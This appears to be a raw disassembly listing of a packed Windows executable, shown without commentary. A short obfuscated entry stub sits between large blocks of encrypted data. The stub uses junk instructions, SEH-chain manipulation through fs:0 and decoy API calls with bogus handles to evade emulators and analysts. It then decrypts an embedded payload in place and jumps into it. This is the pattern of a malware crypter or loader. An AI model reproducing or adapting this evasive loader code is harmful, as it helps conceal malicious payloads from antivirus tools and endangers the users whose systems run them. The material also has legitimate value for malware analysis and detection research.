dd 42760297h, 7238F641h, 0BC1AA8DAh, 35537D34h, 5257B20Ah
dd 82288249h, 0F2C0760Bh, 6A21A8C2h, 836612BEh, 4B2D98A1h
dd 40E2260Bh, 0D2A52A18h, 41BAC27Fh, 691C46B9h, 0BD23D213h
dd 68F5324Ah, 0BDAFCA9Fh, 3DA8E4CEh, 0EA770813h, 0A48C9294h
dd 0BBF9EAC4h, 47FF7DD6h, 42DA3B5Bh, 0C2848285h, 0C7B16D13h
dd 0C210BB91h, 0C2C202E3h, 5F79DE9h, 0DE8FD4h, 3D38209h
dd 0AA464352h, 3D8B7B6Ah, 0BDCF8ABFh, 683332EEh, 0BD4B823Bh
dd 49AB0972h, 526CB6C2h, 4B29A909h, 1A1AFE8Ah, 0FBCC078Fh
dd 0AA8C0257h, 3D1F7B64h, 7B128734h, 0C25C826Dh, 4E6A02BFh
dd 1883A9Fh, 7B3287B1h, 0C8BF8265h, 0A2E9BA51h, 0FB7827FBh
dd 0E9F402A3h, 3DB5BE85h, 0F28BF5D0h, 0C1C892D0h, 368802ABh
dd 498B093Ah, 5244CEA2h, 4B08A9E1h, 8BB1FEEBh, 0FB8C07AAh
dd 42FE020Fh, 0CCCD83D9h, 7BD28716h, 0CABE8245h, 410F8257h
dd 0C63D7AA2h, 5256465Eh, 0CACC434Dh, 0A14589BFh, 0F310E4CFh
dd 24C1644Bh, 0AAA40DFDh, 42E602BFh, 69C663C3h, 8BE7A9DBh
dd 7A7A8448h, 0E9B8C2CEh, 2A324109h, 0BDA5FAAAh, 0FBA807B8h
dd 0C72102E7h, 0C280BB01h, 62520273h, 0E95B8458h, 5B255A17h
dd 0E9A0D122h, 0C99A2993h, 0D24656A8h, 0F65303E7h, 0C38092E3h
dd 6606895Ah, 0AB410B19h, 0C9BE12CFh, 0D23A3A24h, 0F6BF295Bh
dd 35F49257h, 528FB252h, 0C270C291h, 0B5307653h, 0C62E29D5h
dd 0C1F954CFh, 0D22A7234h, 0C625024Bh, 0C2E483DCh, 42A60F2Fh
dd 9025C981h, 716E470Dh, 8E98ACCFh, 0D76102F3h, 0C248BCE7h
dd 11E87B2h, 498782E5h, 9A953EEFh, 4978F18Eh, 0A7FA3670h
dd 49337D19h, 52CCE63Ah, 804BD969h, 4A8F8B27h, 0C1C492A6h
dd 0C70F0AE5h, 0C250C16Dh, 0BD2A71A8h, 0C2BC026Eh, 0B6C0EA9Fh
dd 7FB37DA6h, 42EA40FFh, 36066A83h, 0D7FDFD68h, 0C220C0B5h
dd 41FA4898h, 0C878E87h, 4D6BEB0Ch, 0C229E2C1h, 186E0D0Bh
dd 0C1A482C4h, 5224EA32h, 66958141h, 0EEE21241h, 47936A81h
dd 425E02DDh, 0E91CC4B4h, 5298A67Eh, 929281B5h, 0BDA26D9Fh
dd 26AD01CEh, 42D212B1h, 85B789D8h, 59CD0D63h, 29088228h
dd 0A65F3BE7h, 0CD8492E7h, 42470FE2h, 66858121h, 24C212A1h
dd 0E783BA1Ch, 42C28750h, 82738219h, 76F929D9h, 36466AC5h
dd 0FF0FFDA8h, 0C2E0C0F5h, 425687DCh, 476F828Dh, 423E40A7h
dd 804C070Ah, 422102DBh, 0CD68C5AEh, 4226CFC5h, 0CAA7B901h
dd 426681CCh, 2DF827Dh
dd 5659013Dh, 807C07FAh, 12C802ABh, 8150378Ah, 0D7E90227h
dd 0C2C0BCAFh, 4D5287E9h, 0C24C35E8h, 4292EB2Fh, 3DF482E9h
dd 421E87A4h, 0FCC48265h, 0C9830D32h, 49C082E1h, 1A903E5h
dd 3D4D269h, 7B01FDECh, 0D2FA6664h, 410D779Bh, 0D2766AD0h
dd 0E6730117h, 4BB09293h, 52311216h, 0F92C094Dh, 52AD0A8Ah
dd 0F9A0F0C9h, 52290E0Eh, 0FF4DF045h, 32E60207h, 0DD48B5B3h
dd 0CF620283h, 3977E73h, 0DD00D4h, 0D21DB9A9h, 375A1238h
dd 0D2D00139h, 6593308h, 29F19E95h, 0C7DDC168h, 0C21CC0E9h
dd 0E67B898Fh, 2A8892EBh, 0BDB5F634h, 0C2042B44h, 4CB382E7h
dd 0B08CC58Ah, 4A05396Ah, 3DC00012h, 4DF7FD20h, 3D86301Ch
dd 660689A4h, 0EB442594h, 0BD4902D7h, 809B7D2Eh, 221648D2h
dd 8C0C820Dh, 4E25C2FCh, 32ED05ADh, 0CB2A1209h, 0D2A66E80h
dd 0F61F8FC7h, 0C16082A8h, 5260A6C6h, 6779E4FDh, 415829F1h
dd 8073963Bh, 0B95CC437h, 9655451Dh, 479602B7h, 4B508271h
dd 1C4DFE75h, 5733D52Eh, 429E3C05h, 0CD576AA8h, 420B18AEh
dd 0A890D2E5h, 0BD79688Fh, 0D27F88F4h, 1DC28723h, 0C3B90AD2h
dd 1A96029Fh, 2AC77DBDh, 42FA020Ah, 84C0E786h, 11136EFEh
dd 0B045E134h, 38B767Ah, 0BA197DCDh, 0BD6E12CDh, 0D216DCDCh
dd 0C26F8B0Bh, 2AA49287h, 4266029Eh, 0A374E712h, 35AD6768h
dd 0B1EEE7D3h, 122E6B17h, 0AB6EEB4Bh, 27BD6797h, 0EB7CD5B5h
dd 0AAA9FD9Fh, 0C2108222h, 278067A0h, 0B0E3F6DEh, 2B3C520Ah
dd 0A764EB5Fh, 15CA678Ch, 3D6C894Dh, 4254EA98h, 0A7538221h
dd 29A163A1h, 0B02CF2E8h, 2E577436h, 0C29DE57Ch, 0A554EA8Ch
dd 0DA9C7D6Ah, 11360257h, 0A398C174h, 0CD765BDh, 0A405F6E2h
dd 2B5C5236h, 0A784EB7Fh, 15AA67ACh, 3D83496Dh, 0CF7252B8h
dd 0D2DD3E84h, 12C668C3h, 3D0B8317h, 522114AAh, 0E6E40BF9h
dd 7CC89744h, 27E8265h, 362BFBAh, 928082E1h, 0FE27FDE3h
dd 0AA4C9250h, 420A022Eh, 95C9E8BDh, 0A9754h, 0A8108275h
dd 0D7F95523h, 0C2D0C061h, 0BD96C620h, 0D27EFAE8h, 0CC6BFD1Fh
dd 9DB892E7h, 36CF8F58h, 94349214h, 7C6497E8h, 3A3382C1h
dd 0F9F60D6Ch, 4B2C824Dh, 52AC868Ah, 94A8E8C9h, 7CA49774h
dd 2A18255h, 42428608h, 28B82C1h, 410852D3h, 0AA1DE86Dh
dd 82DE02FFh, 0AC0D7DEFh, 0C15A1245h, 461B7DCDh, 42D604F0h
dd 80180738h, 0CFDF0263h, 0C21CC0A1h, 5A9762h, 90D982B9h
dd 0BD1A0201h, 0D23A18B0h, 0BD3E81E7h, 0C75506AEh, 42280263h
dd 807437E2h, 0D74102CFh, 0C268BC0Fh, 4DC5FAD8h, 0C2F13C91h
dd 0DE338BD7h, 0F17092D3h, 13F1019Ah, 0C686D35Dh, 0CA1BFD9Eh
dd 3D6892CBh, 521470DEh, 0CD240705h, 42A39843h, 4BA9B181h
dd 5260A2C6h, 938DD3FDh, 4D9E1DD7h, 57A7D279h, 420A3C81h
dd 46DB4270h, 429607E4h, 80F407F8h, 0FAD10223h, 0C2CCF1FAh
dd 0B5B64924h, 0D27132ECh, 420A022Bh, 0C1C2F7C5h, 52966B22h
dd 0C192B161h, 0B5F3F5E2h, 72390B3Ch, 0FA7E12DDh, 0C238ABE2h
dd 41C64990h, 0D2A4EB50h, 41A43197h, 35C17590h, 0EA778BF2h
dd 1AC928Fh, 4425B580h, 4F1D61B0h, 0F5E51A58h, 12A79686h
dd 6AA769CEh, 0F8A15242h, 2C8B755Ch, 4181F644h, 305F0E05h
dd 0FE5309D9h, 41CE4070h, 861992F7h, 9BA1FD3Fh, 472B4312h
dd 42C2406Fh, 0E6D8096Eh, 0CD8E317Fh, 0C2083AABh, 8D41C1EBh
dd 7F09894Eh, 42564313h, 0F1DF09DDh, 23FEAE2Ah, 0B84084EFh
dd 62120028h, 0B6A4BEB3h, 36943E37h, 0B774BE48h, 0C9FFE1BFh
dd 9AB5BF10h, 49C60296h, 902FD1B0h, 71AB0D4Fh, 49177DF6h
dd 0BFD3FC8h, 466BC1CBh, 0BDD9FD61h, 97A3D53Ch, 59260D8Dh
dd 0FFA37D82h, 702D4168h, 3DC806F6h, 12A7FD44h, 0CD1BD626h
dd 0BDE907B3h, 2A0BB10Eh, 0BD6DFC9Eh, 38A49218h, 0AAF1FDD3h
dd 3D377CC8h, 0BC6686A4h, 10777D9Ah, 420614CFh, 3DA36AE1h
dd 426AFD5Ch, 9F3C825Dh, 76C1EF9Eh, 385182C9h, 267A0298h
dd 77BFB0AAh, 42E640B3h, 0A4920BB5h, 183F3C12h, 0C1CF0742h
dd 1C65020Fh, 0A47681F5h, 73A390Ah, 0C1F7074Ah, 1110207h
dd 0C28082D7h, 84E70D83h, 341C823Eh, 4DDC5EBCh, 0C29B3E3Dh
dd 4A19897Bh, 62B42208h, 0EC520D57h, 0FF9082B2h, 62722253h
dd 0C1AF0622h, 0C94502EFh, 0C2888261h, 0AA1B1488h, 3DFB6D71h
dd 2E8FE4h, 0C8382B1h, 420263E0h, 0C2B8E39Eh, 0BD409937h
dd 0B8FA8D66h, 0C13A0258h, 0D2B66EB0h, 3D02D7h, 0D23A0999h
dd 4641C378h, 0C707423Eh, 827CACCh, 6EED0B99h, 412A1209h
dd 0C25C8E4Fh, 13A603C7h, 3D860869h, 0ECB732BCh, 73DC92C4h
dd 0ED2B329Fh, 0A8589240h, 1AD3FC1Bh, 0B23C968Dh, 0C769FD51h
dd 0C48DA3h, 0D723E0E0h, 0C2DCBB5Dh, 0C779E744h, 0C258BBD9h
dd 400A022Bh, 4733A091h, 42963B17h, 0C2408262h, 0E7830E56h
dd 0C2ACBB6Dh, 0B581FD60h, 4FB988B2h, 42EA3BABh, 0D2B482D5h
dd 427604FFh, 0C458DB51h, 1AF20213h, 3D4AA025h, 0EAEB8870h
dd 44289270h, 7B42288Fh, 472C82D5h, 42763B2Fh, 47D762A3h
dd 42F23BB3h, 0C29C82B5h, 0FFDE0B0Ah, 0C208BB93h, 0B51F76FAh
dd 0D2AD3230h, 42560277h, 420BF621h, 52EBAA4Eh, 72F887ADh
dd 7BE7BFEFh, 0B60D8239h, 0E877824Ch, 0C784929Ch, 0C7B19C13h
dd 0C210BB91h, 428202E3h, 7FFC8BE9h, 422E3BF7h, 4171F51Bh
dd 52F8F27Eh, 0B09C8295h, 0AAC9FDA5h, 3D0F7F52h, 42B0733Bh
dd 6AF1098Dh, 412E120Dh, 0D2AA2E94h, 0BEF1EACBh, 466B7D7Ah
dd 42260016h, 8044378Ah, 1C2902D3h, 2A828141h, 0BDE1FF63h
dd 0C0E300F6h, 81B02BBh, 0C254E251h, 10E889D7h, 0D6AA81A7h
dd 0B58278B0h, 0D27532E8h, 420E022Fh, 4BDCF7C9h, 52C8F616h
dd 7EF10F65h, 0C906121Eh, 0D2D0EB6Ch, 1526F1A3h, 0C236EDE4h
dd 424B8F1Fh, 31B892C9h, 0A17AB33Eh, 35907157h, 52CFB292h
dd 0C2B082D1h, 0ECF60DB3h, 3D2C824Dh, 0DF062A7Ch, 49577D24h
dd 5228E61Eh, 0CDF60745h, 42E69A83h, 661509C1h, 0C96212C1h
dd 889D9277h, 42DE62DBh, 0CAD2A959h, 8B690008h, 0F900F036h
dd 52C66B7Ah, 0AB1D09B1h, 30521263h, 0E630097Bh, 52A7A76Ch
dd 418882B9h, 424A6BCCh, 0B88F8225h, 4A8C03EFh, 350775A2h
dd 0FA87E8h, 470B820Dh, 42AE3B6Fh, 0C27882D9h, 5ACD002Fh
dd 0EBF8F016h, 0B2038BE7h, 497092D3h, 72332A20h, 0FB5C07FAh
dd 42EE02DFh, 0C01C8289h, 0AA7B1ABCh, 3D1B7E2Eh, 41AAE99Eh
dd 0B04BAAF2h, 0B174534Fh, 4F85DD59h, 52A7BE0Ah, 36E50B79h
dd 0B11A1279h, 0CD8ADD51h, 0C51B9086h, 0C2508346h, 7BBC9709h
dd 0C4B982FDh, 14F6D0C6h, 4B2E905Dh, 0B3E2E57Bh, 983B7D3Ch
dd 418A482Ch, 47B7922Bh, 42123B93h, 0E2BC82DDh, 377B4312h
dd 32B50B4Ah, 41FA1259h, 0D2A4EB50h, 2BD18197h, 0C2308251h
dd 0CBDA4138h, 0C2ACD64Ah, 2EEBF58Fh, 0C3289276h, 36EA020Bh
dd 0CAE745C2h, 0E2C6A227h, 0FB9007B6h, 42E20213h, 0C5E882FDh
dd 0B505EA2Dh, 49427DC6h, 5298F276h, 4B9161B5h, 4FBD2A3Ch
dd 80FC0FBAh, 403102E3h, 89078146h, 0F2CBF547h, 0C1089210h
dd 36CA02EBh, 360109B1h, 41461225h, 0D2425EACh, 9A4701E3h
dd 0C37C92DFh, 52748957h, 80500792h, 88302CBh, 4B77F19Dh
dd 370A1Dh, 9A930101h, 0F23789D3h, 0AA6C92CFh, 422E2BF3h
dd 9BE0C008h, 0C8FA41CAh, 0D25D2C10h, 0F2A3F547h, 0C2E09238h
dd 368202C3h, 0ABD1817Bh
dd 0F41E122Fh, 725D75F9h, 429A1282h, 0B7548075h, 0B5D0FC23h
dd 0D2E93274h, 469202B3h, 484AF76Dh, 5237AD9Ah, 724D75E9h
dd 428A1292h, 0B7448225h, 4001882Ch, 14C22823h, 4B69F541h
dd 0E85D7h, 0A02800B5h, 0A66AB12Eh, 0CD1E2010h, 7FB7DA57h
dd 42E6409Fh, 7D348DD1h, 0BD8DFD69h, 0D26E26F8h, 9C7BFD0Fh
dd 3DA892F7h, 5228A23Eh, 90B17D45h, 0CFE61239h, 0D2E20E4Ch
dd 0D6F78F83h, 931C927Fh, 0BDDE68ADh, 0D2DA0A0Ch, 90CFFD7Bh
dd 3D14920Bh, 52948A42h, 90057DB1h, 0CF52124Dh, 0D24DF698h
dd 0C67BFDEFh, 948892EBh, 7C849794h, 67878235h, 42D6406Fh
dd 0C26841A1h, 1F420263h, 2F7D8377h, 42AE3A64h, 37772C1h
dd 522F7ADEh, 1340715h, 0B249CA54h, 0BAF5439Eh, 81321246h
dd 0E8EC9230h, 24B277CFh, 0CE4CFE08h, 515F7327h, 3D206A65h
dd 47D3FD38h, 3D9A3769h, 0BDF0EABCh, 0ECBD7D02h, 14E62F40h
dd 0E7E0904Dh, 221A023Bh, 3D2B271Dh, 0C9AF7748h, 4F60A635h
dd 52537686h, 0CA9C09EDh, 44B483C9h, 946DF16Bh, 0BD0A0243h
dd 0A80009E5h, 0BDD650A7h, 0D27F9CF4h, 4AC68123h, 0FDE0BC5Ch
dd 410B5EA0h, 2A3C44DAh, 0BD05F879h, 3D4BFD3Dh, 0FAB56368h
dd 0C2308225h, 6D4AB3F8h, 2AAC82CDh, 426E0292h, 7A28A28Bh
dd 42EA023Bh, 0C2A4922Dh, 4242C087h, 0C22107F9h, 42E1EA03h
dd 0EE5E82BDh, 660A8F7Fh, 41364F35h, 5BA60203h, 0C2946AD5h
dd 16DD0277h, 494DB215h, 0D03F83E9h, 2A8C9294h, 0BDB1E2DCh
dd 0C20C4048h, 43C904E9h, 268687A2h, 3298CCD5h, 139617FDh
dd 0FD890302h, 68EE8957h, 17626AFDh, 0F26A0302h, 66030239h
dd 20202A3h, 8B665202h, 2020227h, 0E2C68102h, 8B555451h
dd 47C5EA67h, 20202FEh, 0FD036802h, 212C617h, 6C68103h
dd 60D207C5h, 0FDFD0302h, 7C5FDFDh, 30260D6h, 0FDFDFDFDh
dd 12CA17FDh, 0F890302h, 302620Eh, 17FD0A8Bh, 30212CEh
dd 620A1789h, 128B0302h, 212D2A3h, 8B0A8903h, 260DA0Fh
dd 314EA03h, 0C6A30202h, 8703025Fh, 6A0C77C2h, 30239D2h
dd 128617FDh, 0C6810302h, 2C8EA06h, 0E6A0202h, 6A030252h
dd 302520Ah, 202B3EAh, 0AC68102h, 62061789h, 578B0302h
dd 0DA478FDAh, 20F8952h, 53030262h, 50E2578Fh, 52D6478Fh
dd 53E64F8Fh, 128217FDh, 0C6810302h, 52066A16h, 26A0302h
dd 0EA030252h, 2020274h, 0FD0AC681h, 212DA17h, 0E2578903h
dd 4789128Bh, 4F8952E2h, 578953D6h, 23EA50E6h, 0FDD8h
dd 1551h dup(0)
assume ds:_data
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near
clc
push ebp
mov ebp, esp
call sub_100F41F
clc
xchg ebx, ebx
call sub_100F4F0
nop
nop
cld
mov ebp, 0 ; DATA XREF: sub_100F41F+6w
cmc
jmp loc_100F478
start endp
; =============== S U B R O U T I N E =======================================
sub_100F41F proc near ; CODE XREF: start+4p
; FUNCTION CHUNK AT 0100F4EC SIZE 00000004 BYTES
push dword ptr fs:0
add dword ptr ds:loc_100F414+1, ebp
mov fs:0, esp
xor edx, edx
push edx
push edx
push 4000h
push 200h
push edx
push 80000000h
push 80000000h
push edx
push edx
push 40h ; dwMilliseconds
push 80000000h ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
xor edx, edx
push edx
push 2000h
push 100h
push edx
push 20h
push edx
push edx
push edx ; hObject
call ds:CloseHandle ; CloseHandle
loc_100F478: ; CODE XREF: start+1Aj
cmc
sub eax, eax
loc_100F47B: ; CODE XREF: sub_100F41F+62j
dec al
or al, al
jz short loc_100F485
jnz short loc_100F47B
jmp short loc_100F4EC
; ---------------------------------------------------------------------------
loc_100F485: ; CODE XREF: sub_100F41F+60j
xchg ebx, ebx
nop
xchg ebx, ebx
mov ecx, ecx
call sub_100F4A7
nop
jmp short $+2
sub_100F41F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_100F494 proc near ; CODE XREF: sub_100F4A7:loc_100F4C2p
mov al, [ebx]
cmc
sub ax, di
nop
nop
clc
xchg al, [ebx]
mov ebx, ebx
stc
stc
retn
sub_100F494 endp
; ---------------------------------------------------------------------------
db 87h, 0DBh
; ---------------------------------------------------------------------------
clc
; =============== S U B R O U T I N E =======================================
sub_100F4A7 proc near ; CODE XREF: sub_100F41F+6Dp
pop ebx
sub ebx, 0FFFFFF93h
push ebx
mov edx, 29BCh
cmc
stc
jmp short $+2
stc
jmp short $+2
stc
mov edi, 93h
nop
loc_100F4C2: ; CODE XREF: sub_100F4A7+33j
call sub_100F494
xchg ebx, ebx
stc
inc ebx
add di, 0A2h
sub edx, 1
mov ebx, ebx
mov ebx, ebx
cmp edx, 0
ja short loc_100F4C2
pop ebx
clc
mov edi, [ebp-8]
mov fs:0, edi
stc
leave
clc
jmp ebx
sub_100F4A7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_100F41F
loc_100F4EC: ; CODE XREF: sub_100F41F+64j
clc
xchg ebx, ebx
clc
; END OF FUNCTION CHUNK FOR sub_100F41F
; =============== S U B R O U T I N E =======================================
sub_100F4F0 proc near ; CODE XREF: start+Cp
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h]
retn
sub_100F4F0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0F5h, 7Bh, 35h
dd 0B91B79D7h, 0D0C705EAh, 0CD54346Fh, 484B9A6Fh, 5E3B9929h
dd 0A5C32160h, 11A73407h, 0CEFFA593h, 2F5269A0h, 0D6D419Fh
dd 0D6BF2D6h, 0C7EE0938h, 16FBD937h, 300BD5A7h, 2DB49ADFh
dd 401D5CCFh, 3DC4A9DFh, 0DE7F0CDFh, 0A2C69469h, 41B4797Ah
dd 176E1D9Bh, 0D2C4A1FFh, 6DDB398Ch, 0F9772D9Ah, 0B697EE24h
dd 51CC12Fh, 80EB49A7h, 0D673E0D3h, 0A270223Ch, 0F282A9C2h
dd 0ADEEEAF5h, 0B692F03Fh, 256FC752h, 4D1774C8h, 0CE2B7468h
dd 4428116Fh, 203E5C82h, 0DD13ACBBh, 3D832A6Dh, 78BCA6D4h
dd 1DCD44EAh, 88FB8B2Ah, 10181A1Ah, 0D74B772h, 92CB4D39h
dd 0AA7BE2C8h, 91CC4CB6h, 9FF57643h, 66C6E4B0h, 37AEA5EBh
dd 40AE628Bh, 233748FEh, 60D79302h, 6C772CFAh, 0F2581C8Ah
dd 0F563C246h, 8EFBC624h, 90C9C12Fh, 5EEA30F7h, 9AFE181Ah
dd 9D0B9267h, 6583E164h, 3A2ADDC7h, 45CCA504h, 39A626D7h
dd 0D04E0583h, 0DD6D8184h, 123EB56Fh, 0DD4BDCF7h, 0A7BFD60Ah
dd 0B0A8A917h, 2E264609h, 0FD5BE190h, 95131B2Ah, 0CDEE9C51h
dd 1BD2D7B0h, 786EBB0Dh, 0A51CF382h, 8D336F47h, 5B75288h
dd 858EE924h, 94612BC6h, 0BB7148F5h, 754C63FFh, 0B1AAE780h
dd 0E6E34998h, 87A9AC4Bh, 2E584DF2h, 0CF93E6F3h, 0B3AE50DAh
dd 1E065FBFh, 43CF30Dh, 72CEB388h, 0D7B32F38h, 794492D9h
dd 868A9EB4h, 0B1E47D60h, 38B18341h, 951FF9Fh, 4CD817F0h
dd 0C85A0A92h, 95DEE12Eh, 1086CC17h, 0ADA564F2h, 6875F7D3h
dd 0D6601B26h, 0F6178B44h, 0FD2CF175h, 7E4B3C21h, 0AA5D5BB9h
dd 0B946FC8Fh, 0F215864Ch, 0E1E2043Bh, 8DAB2A21h, 9AE2F74h
dd 0B2D8785Ch, 0B46A674Bh, 0D5D37B3Eh, 97D78FF7h, 0DD7657D2h
dd 2E69B8B3h, 153075CBh, 96326CECh, 0F62D73BDh, 0A7306CB0h
dd 85079B99h, 0F913B48Fh, 2B17E45h, 21C2593Dh, 0C43503C2h
dd 498EABE3h, 0F1319ABDh, 3447E745h, 5B83B11h, 0BB8958DFh
dd 45645327h, 0C1C2067Bh, 0CAA58BD7h, 0E96E31F1h, 1D9F32Ah
dd 113A4571h, 0A52358FCh, 0B4F67FD7h, 0C99A9C88h, 6319783h
dd 0F5203BE1h, 7B422CBCh, 0C29D53ADh, 15A745F2h, 0EFFCF279h
dd 0A2A6FEBFh, 581F189Ah, 0AC0F3763h, 0CC77B758h, 0D1F313Fh
dd 0BDBD1B38h, 0BEDB87ECh, 0E568E5A7h, 0F6F6EB2Ah, 7CB84EC5h
dd 3092D765h, 36CA6B67h, 0C952FF37h, 5DACFBFDh, 5E6B27DCh
dd 8578C557h, 95BF0F1Ch, 0AD24E173h, 29D2776Dh, 0D5DC0BB1h
dd 0C17D9FA9h, 0FEB60661h, 91F95FFBh, 0BAAD5B2Ah, 0B9C62169h
dd 4E14894Dh, 3DDDA43h, 1DD0BBDBh, 92E3F04h, 9D8EA476h
dd 0EAEA3DBBh, 0CFB2F1F8h, 3FD81C96h, 0FEAD23E5h, 31536F6h
dd 15C05B6Bh, 0ABF25BEEh, 4354734Dh, 17DA07ABh, 317CDFDDh
dd 7F29A267h, 0AF4B397h, 313B89D0h, 4267DA81h, 3908A52Ch
dd 706AC43Dh, 71C81443h, 239BBAF9h, 9986DF76h, 2FE4E7B8h
dd 3EC7F713h, 5590B5DBh, 60FDEF7Eh, 8D43B6AAh, 0F35BE8Bh
dd 0A418CBD4h, 0B6EF70B7h, 0CDE41C51h, 5700147Eh, 5B52B71h
dd 0B47142C0h, 984C6306h, 0A18C5100h, 8422DAD9h, 56DF1048h
dd 6DB47CFDh, 3794AC6Eh, 9E61CB41h, 0A0DDB09Eh, 0CD63288Ah
dd 52221F6Bh, 0A27B1BC9h, 7966E2DBh, 0DDE8E0Ch, 512300D1h
dd 38CFEA45h, 0D2CBBFB9h, 0B72CF948h, 0AC359C73h, 0FEE8ABAEh
dd 19464F10h, 3B6FE7FAh, 1FB3FA5Ah, 0A25C88D8h, 69BE9F8Fh
dd 0C4979A07h, 0AD481E47h, 63F8D026h, 1792EF17h, 0E8FA81EEh
dd 83F0D546h, 9F1C2296h, 1CC6677Fh, 0D985D3DDh, 6DDF6725h
dd 0C530FBEFh, 0F31E8FF7h, 87B6D415h, 0ED367A9h, 15307527h
dd 0E9625E37h, 3D6D8B25h, 0FB867E2Bh, 4F7C1289h, 0D3161527h
dd 8D1E7143h, 21DF3F7Bh, 66308101h, 505E92F9h, 0EDB9114Ah
dd 0EE91EA1Bh, 0C243684h, 0E06CFD8h, 1D5463A2h, 0C5FC4093h
dd 0C4998BF1h, 3EFDBC02h, 7DECC3ADh, 0FD00C490h, 856DDB79h
dd 598CBB17h, 42D1DE0Bh, 61A29A7Dh, 0AD5EB66h, 8A376753h
dd 2EA4539Dh, 642AE7FBh, 0E7633F3Eh, 8B16AACCh, 9EB357Eh
dd 17DD250h, 9A30A304h, 0B6775F2Fh, 0BDCC3155h, 278C1482h
dd 64251B59h, 89007D3Ch, 0E7342905h, 23FD1A65h, 8EF07BBBh
dd 0C94E00F7h, 0D6CBBA08h, 20D643DFh, 832630C4h, 0C7934F87h
dd 7C064874h, 0D827743h, 1F4B76E4h, 0E63E8FFDh, 0C3C2E72Dh
dd 23F6E94Eh, 49246643h, 13B6558Fh, 0FA75E0Bh, 5E720729h
dd 0E894DFE1h, 931C7D7h, 2EC3025Dh, 0AED18D1Eh, 0C5580677h
dd 0FD257D0Ch, 802507F1h, 0A9CE4685h, 23250C12h, 0D54EDFEFh
dd 8DCBC57Dh, 3E1B565Bh, 652865EFh, 0E5DD6FECh, 0B1A81EC8h
dd 0C3CDCA1Bh, 0DDB0FB7Ch, 50479424h, 2FDF0E0Ch, 5CCAB791h
dd 0ED64BC73h, 0E886CF58h, 0FB16D868h, 4E73F703h, 5590B51Fh
dd 30D36068h, 1726B330h, 0BBBADD8Bh, 0D1871E9h, 397A6F48h
dd 0CDBEC72Ch, 0EC36ED53h, 2BB2D625h, 8922F287h, 7503821Dh
dd 8CB4A55h, 5ACFF056h, 0AA940F27h, 0E2E153E6h, 132F9A1h
dd 58A08FD0h, 5196322Ah, 0B044F3B5h, 57F7876Bh, 0E5F71BC9h
dd 7956AF27h, 0DB44385h, 8A62D7E3h, 35706B41h, 771DFF9Fh
dd 0AB9F8E4Ch, 9C8A3751h, 456457E2h, 0AF64066Ch, 0C21770B4h
dd 130267BCh, 0F3AEA00Ch, 0E6459F9Fh, 0FD2CF1F5h, 917AD133h
dd 94BD17A9h, 9665CF2h, 0A60AECB3h, 0FECB7457h, 8A64CCF3h
dd 39AE80E4h, 0CBBA6800h, 0AEE1674Bh, 0C5D8B9E5h, 0FAE4633Ah
dd 8ED2C844h, 0C83E5408h, 781BA1AFh, 0D7DA2E63h, 605FC219h
dd 0E42E07B7h, 4ADCA97Dh, 0EB532F15h, 7228A4E2h, 0BEF63061h
dd 4771EB42h, 0E6422004h, 42087C77h, 0C1BA0860h, 46459512h
dd 0B6140ED7h, 5DC77756h, 9E5F0A25h, 555F7AC0h, 0CAE1ED92h
dd 22AE5839h, 0AE46DAF0h, 0AEA73BDh, 7CF6CB28h, 213368F3h
dd 931AC3A0h, 0F5AC4C46h, 0AA51CD02h, 0FC0038C9h, 8EC2BB62h
dd 37B94B35h, 8945B1EAh, 1F14B84h, 6A9AF473h, 0E7581FE5h
dd 2902C094h, 0E2981C47h, 6E6DA017h, 0DE29369Dh, 4EB99B5Ah
dd 0F25F2C31h, 3E209163h, 0D7C72766h, 527CA031h, 0D14FD67Dh
dd 4EDE8099h, 0B7940F7Ah, 45596D00h, 0ADE3F292h, 0FFAE9492h
dd 887BE71Ah, 692175A8h, 0C3D0D8A8h, 3D955B34h, 2533F8C2h
dd 0EEEA4C4Eh, 0A987E748h, 7514FE0h, 0B6EBC785h, 15917AFFh
dd 8D67B829h, 0EFE4079h, 6AABDC53h, 0F6678F38h, 8A27D7C1h
dd 0EDC16783h, 5CC08C39h, 6502BD4h, 5CD3A29Bh, 0EE930751h
dd 5753CDFDh, 0CFEF189Ah, 8DB39B82h, 0EF5E34E2h, 621B87ACh
dd 0E7B84884h, 3E878110h, 0D71B00C7h, 34EC3BBAh, 0B2C2EB38h
dd 3F4371D3h, 8642389Ch, 3ECE7B52h, 0C747EAF4h, 22F85CE7h
dd 0AECAFA8Bh, 117F9D03h, 0A915B4ACh, 34C26C75h, 91739744h
dd 76045C6h, 9CD1DE9Eh, 0F7C534Ch, 8445C6E2h, 0B3A8AA8h
dd 85B3BD60h, 0C565395h, 740FD4D6h, 0FAB6F920h, 5CDEAB17h
dd 0D60227EAh, 5DD9A48Fh, 0C79F293Dh, 6C399BDCh, 0F20543C6h
dd 45B9914Fh, 0E2473FE6h, 5D1BFFC4h, 5DBCF85Ah, 3D77902Eh
dd 0AE3418DEh, 30FA6C84h, 0D2900C2Fh, 1E2590FFh, 0C2F6E031h
dd 42706F30h, 0A359E60Ah, 2E0E6089h, 97BF0DA9h, 0D555CFBh
dd 0AC00EFA6h, 139B1766h, 0BB6BDF0Ah, 91163D8h, 81CBC78Fh
dd 0FD975425h, 7B2FC9C9h, 0F80933A0h, 8CB8B232h, 8144540Eh
dd 6701BFDBh, 6B24054h, 62589C07h, 1426392Bh, 59D7C077h
dd 0D084FF0Ch, 6025A8E4h
dd 0E4DE09A3h, 498F902Fh, 0E03C2F04h, 50FD789Ch, 0B74A0F58h
dd 2A5A7A0Dh, 0EC29FBB8h, 46B88252h, 87C2092Ah, 3A324AC5h
dd 96E1EB70h, 4D8E583Ch, 0AE57DADDh, 0F3986A98h, 0A995B43Bh
dd 24376CCFh, 7EDFF1BAh, 24A75F40h, 9538BF1Dh, 0FB2F43D0h
dd 8EBEC039h, 14743559h, 0A940ACC7h, 12E54E83h, 686EC646h
dd 955630F8h, 7927AB6Dh, 0E28D1D6Ah, 7871B30Eh, 0D93E1BA3h
dd 65AF9D77h, 0C3682222h, 4E1EA5BCh, 0DAA30762h, 527CA23Ch
dd 0AE40DD7Dh, 4AF88488h, 0B4861572h, 456574E9h, 0E1120E9Eh
dd 279D8E6Ah, 8C6CC5B1h, 461288C1h, 0B1CEDC97h, 568E6818h
